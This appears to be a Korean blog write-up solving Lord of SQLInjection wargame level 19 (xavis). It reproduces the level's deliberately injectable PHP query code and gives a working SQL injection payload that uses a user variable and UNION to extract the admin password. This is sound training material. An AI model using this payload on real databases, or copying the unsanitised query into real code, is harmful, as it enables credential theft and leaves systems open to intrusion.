
[ LOS ] Lord of SQLInjection 19번 풀이(xavis)
sangjun
·2022. 1. 12. 02:13
반응형
문제소스
query : select id from prob_xavis where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
문제 분석 및 페이로드
1. pw가 hex값이라 일반적인 bsqli로 추출이 불가능하다.
2. hex값으로 알아내는 방법이 있긴 하다.
3. sql에서 변수와 union을 통해 알아내는 방법으로 풀이했다.
-> sql에서도 변수가 있다고 한다.
-> mysql 문법에 대해 공부가 필요한듯 하다.
https://three-pleasure.tistory.com/256
?pw=' or (select @a:=pw where id='admin') union select @a%23
반응형
'War Games > Lord of sql injection (LOS)' 카테고리의 다른 글
[ LOS ] Lord of SQLInjection 21번 풀이(iron_golem) (0) | 2022.01.12 |
---|---|
[ LOS ] Lord of SQLInjection 20번 풀이(dragon) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 19번 풀이(xavis) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 18번 풀이(nightmare) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 17번 풀이(zombie_assassin) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 16번 풀이(succubus) (0) | 2022.01.12 |
0개의 댓글